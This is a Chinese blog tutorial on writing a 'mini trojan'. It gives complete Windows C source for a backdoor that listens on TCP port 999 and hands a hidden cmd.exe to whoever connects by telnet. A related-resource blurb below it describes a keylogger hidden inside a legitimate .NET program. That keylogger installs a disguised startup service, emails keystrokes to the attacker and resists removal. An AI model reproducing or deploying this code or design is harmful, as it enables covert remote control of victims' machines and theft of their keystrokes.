简单木马的编写

MINI木马的编写
编写一个服务端,服务端开启远程后门
客户端使用telnet命令来操控该木马

先进行服务段的编写

WSADATA  wsaData;
SOCKET   ServiceSocket,ClientSocket;
SOCKADDR_IN  SockAddr;
int SockAddrSize;
WSAStartup(MAKEWORD(2, 2), &wsaData);

SockAddr.sin_family = AF_INET;
SockAddr.sin_addr.S_un.S_addr = INADDR_ANY;
SockAddr.sin_port = htons(MasterPort);

ServiceSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0);
bind(ServiceSocket, (SOCKADDR*)&SockAddr, sizeof(SockAddr));
listen(ServiceSocket, 1);
SockAddrSize = sizeof(SockAddr);
ClientSocket = accept(ServiceSocket, (SOCKADDR*)&SockAddr, &SockAddrSize);

先来编写网络通信,使用的是流套接字,也就是TCP网络编程
定义相关变量,初始化widows套接字,然后定义SOCKADDR_IN的相关变量,创建服务端的套接字,将套接字与IP进行绑定,然后进行监听等待客户端进行同意。

接下来就是创建一个进程,用来从目的机中获取我们需要的信息

//创建一个进程
	PROCESS_INFORMATION ProcessInfo;  //进程信息
	STARTUPINFO      StartupInfo;     //启动信息
	char     szCMDPath[255];


	ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
	ZeroMemory(&StartupInfo, sizeof(StartupInfo));

	//从环境变量中获取路径
	GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
StartupInfo.cb = sizeof(STARTUPINFO);
	StartupInfo.wShowWindow =SW_HIDE;
	StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	StartupInfo.hStdInput = (HANDLE)ClientSocket;//将命令窗口与套接字连接起来,将套接字作为命令窗口的标准输入
	StartupInfo.hStdOutput = (HANDLE)ClientSocket;
	StartupInfo.hStdError = (HANDLE)ClientSocket;

	//创建一个新的进程
	CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE,0, NULL, NULL, &StartupInfo, &ProcessInfo);

	WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
	CloseHandle(ProcessInfo.hProcess);
	CloseHandle(ProcessInfo.hThread);

先是进行变量的定义,将相关变量清零,获取一条路径,就是存在cmd.exe可执行程序的路径,定义启动信息中的内容,可以参考下面这条博客,了解STARTUPINFO结构体中的内容
https://blog.csdn.net/whynottrythis/article/details/39828395
然后创建新的进程,WaitForSingleObject是等待上面的进程结束以后继续运行上面的进程,关闭进程,关闭线程。

#pragma comment(lib,"ws2_32.lib")
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
//#include<Windows.h>
#include<WinSock2.h>

#define MasterPort  999

void main()
{
	WSADATA  wsaData;
	SOCKET   ServiceSocket,ClientSocket;
	SOCKADDR_IN  SockAddr;

	int SockAddrSize;
    
	//创建一个进程
	PROCESS_INFORMATION ProcessInfo;  //进程信息
	STARTUPINFO      StartupInfo;     //启动信息
	char     szCMDPath[255];


	ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
	ZeroMemory(&StartupInfo, sizeof(StartupInfo));

	//从环境变量中获取路径
	GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));

	//printf("%s\n", szCMDPath);

	WSAStartup(MAKEWORD(2, 2), &wsaData);

	SockAddr.sin_family = AF_INET;
	SockAddr.sin_addr.S_un.S_addr = INADDR_ANY;
	SockAddr.sin_port = htons(MasterPort);

	
	ServiceSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0);
	bind(ServiceSocket, (SOCKADDR*)&SockAddr, sizeof(SockAddr));
	listen(ServiceSocket, 1);
	SockAddrSize = sizeof(SockAddr);
	ClientSocket = accept(ServiceSocket, (SOCKADDR*)&SockAddr, &SockAddrSize);
	
	//	//send(ServiceSocket, "Hello! \n", sizeof("Hello!"), 0);
//	//printf("Send OK! \n");

	StartupInfo.cb = sizeof(STARTUPINFO);
	StartupInfo.wShowWindow =SW_HIDE;
	StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	StartupInfo.hStdInput = (HANDLE)ClientSocket;//将命令窗口与套接字连接起来,将套接字作为命令窗口的标准输入
	StartupInfo.hStdOutput = (HANDLE)ClientSocket;
	StartupInfo.hStdError = (HANDLE)ClientSocket;

	//创建一个新的进程
	CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE,0, NULL, NULL, &StartupInfo, &ProcessInfo);

	WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
	CloseHandle(ProcessInfo.hProcess);
	CloseHandle(ProcessInfo.hThread);



	closesocket(ServiceSocket);
	closesocket(ClientSocket);
	WSACleanup();


	system("pause");
	//return 0;
}

完整代码,创建完成后可以在虚拟机中进行测试,但是应为本身比较简单,需要自己启动,启动以后就可以在本机中使用telnet+目的机IP+999进行控制了,使用windows命令行来控制,需要自己去了解windows命令行中的命令。

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
1、首先解决开机启动木马。通过建立开机启动服务达到目的; 2、伪装问题。通过c#反射性能,将正常的.net的exe文件添加监控盗传播取等其他功能,执行正常程序同时,后台悄悄释放windows服务,通过服务释放调取木马exe; 3、传播问题。可以包装一个.net做的,使用比较广的软件,因为通过反射可在exe内执行其他功能,至于执行什么功能想到了就可以做 4、在执行本例子前,先随意编写一个.Net的exe文件,在“被包装exe文件名”指向该文件,其中“监控执行检测间隔(秒):”设置大一些,因为监控程序随着服务开机启动,需windows启动成功后方可正常运行。“建立的服务名”、“服务文件路径和名称”、“监控文件路径和名称”为防止用户删除,放置在windows里面的一些文件夹内部,名字起得系统一些,比如“UpdataServer”等等,就是使用户不知道他是干嘛的,不会删除的那种。本例子生成的exe文件,除了执行你编写的.Net的exe文件外,监控你设定的多个进程,记录键盘,并按照你设定的时间定时发送键盘记录到你设定的邮箱。程序里执行的监控代码和安装服务代码为字符串形式,根据你填写的条件,并自动编译为临时文件,并生成包装后的C#代码,自动编译后输出exe文件。执行该exe文件,看到的为你编写的.Net的exe文件效果,后台建立了开机启动的一个服务,并释放了一个监控exe文件,通过服务执行,并每次开机就执行服务来开启监控。 5、如需对监控进行加固,变为用户不可删除,可以修改代码字符串,加入建立多个windows服务,并在监控程序内检测windows服务是否存在,并释放执行windows服务,在服务字符串代码内释放多个exe监控,形成多服务、多exe的相互检测、相互释放,这样用户除非重做系统,否则不能删除该监控,这个加固功能就不提供代码了。 这里提供代码的只是建立单一服务、单一监控的,可以删除掉的代码。 这里只是监控键盘发送邮件,想干别的,自行修改功能代码

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值